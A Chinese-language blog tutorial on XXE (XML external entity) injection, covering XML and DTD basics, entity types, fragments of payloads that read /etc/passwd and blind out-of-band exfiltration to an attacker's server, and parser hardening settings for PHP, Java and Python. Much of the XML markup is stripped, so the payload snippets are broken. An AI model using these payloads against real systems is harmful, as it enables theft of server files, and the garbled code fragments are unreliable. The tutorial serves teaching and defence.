python解析外部实体_详解XXE外部实体注入攻击

XXE(XML External Entity Injection)

定义

XXE(XML External Entity Injection)即XML外部实体注入漏洞,XXE漏洞发送在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,XXE漏洞触发点常常是可上传xml文件的位置,没有对上传的xml文件进行严格的过滤,导致可上传恶意的xml文件。

理解

SQL注入是因为把恶意的SQL语句通过特殊的方式拼接或插入原始语句中,达到让系统执行恶意的SQL语句,从而造成数据泄露等危害;

XXE攻击也属于注入攻击,原理同SQL注入大致一致,无非就是一个是注入的SQL语句,一个注入的是XML语句。

危害

任意文件读取

内网端口探测

命令执行

攻击内网网址

DOS攻击

XML

定义

既然XXE叫做XML的外部实体注入,那什么是XML呢?

XML是一种可扩展的标记语言,主要是用来传输和存储数据的,写法类似于html语言的数据格式文档。

XML和HTML的区别在于,XML用来传输数据,HTML用来显示数据

XML语言没有预定义的标签,允许作者定义自己的标签和自己的结构

语法规则

XML文档必须有一个根元素

XML元素必须有一个关闭标签

XML标签对大小写敏感

XML元素必须被正确的嵌套

XML属性值必须加引导

DTD(Document Type Definition)

跟XML格式相关的叫DTD,DTD的作用是定义XML文档的合法构建模块,声明了XML内容格式规范

DTD有两种声明方式,内部和外部

内部DTD:对XML文档的声明都在XML文档之中

外部DTD:对XML文档的声明都在一个独立的DTD文件(.dtd)中

内部DTD的XML

]>

&writer

内部DTD定义了XML的根元素是“note”,根元素下有一个子元素“body”,而元素body的类型是“#PCDATA”,这样就固定了文档元素的格式内容。

body元素里的&writer是对内部实体的一个引用,输出的时候&writer就会被hello word替换。

外部DTD的XML

]>

外部DTD定义了XML根元素“foo”,子元素“ANY”,表示可以接受任何元素。

使用SYSTEM的引用方式对外部实体“c:/test.dtd”文件引用,&xxe输出是被test.dtd文件内容替换

理解:外部实体可以看作是一个变量

参数实体

看到这里,大概明白了什么是实体,而实体有分为四种,以上内容所用的只是其中一种通用实体

内置实体(Built-in entities)

字符实体(Character entities)

通用实体(General entities)

参数实体(Parameter entities)

内置实体和字符实体都和HTML实体编码类似,有十进制和十六进制;通用实体上文中已经有所了解,我们来看下参数实体。

">

"http://somewhere.example.org/remote.dtd">%an-element; %remote-dtd;

可以看到区别在于实体名前面有个%号,而通用实体是没有的,并且只能在DTD中使用%实体名;参数实体一样可以引用外部DTD,参数实体只能在DTD中使用。

利用方式

任意文件读取

至此,我们完成了一次最简单的XXE复现。我们可以看到,已经成功读取了passwd文件,并且显示出来。

如果没有回显怎么办呢?因为现在的XXE漏洞很少会有回显了

无回显

payload

encode/resource=file:///etc/passwd">%remote;

%send;

]>1234

xml.dtd

%file;'>">

%start;

既然没有回显,就想办法让服务器自己把数据往外带。

思路:写两个外部实体,第一个外部实体请求本地的数据内容,第二个用http协议或者其他协议把请求的数据作为参数传到我们的vps上面。这样就实现了数据外带。

XXE防御

一、使用开发语言提供的禁用外部实体方法

PHP

libxml_disable_entity_loader(true);

Java

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctypedecl",true);

.setFeature("http://xml.org/sax/features/external-generalentities",false)

.setFeature("http://xml.org/sax/features/external-parameterentities",false);

Python

from lxml importetree

xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

二、黑名单过滤关键字

过滤用户提交的XML数据的关键字,比如:SYSTEM和PUBLIC

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值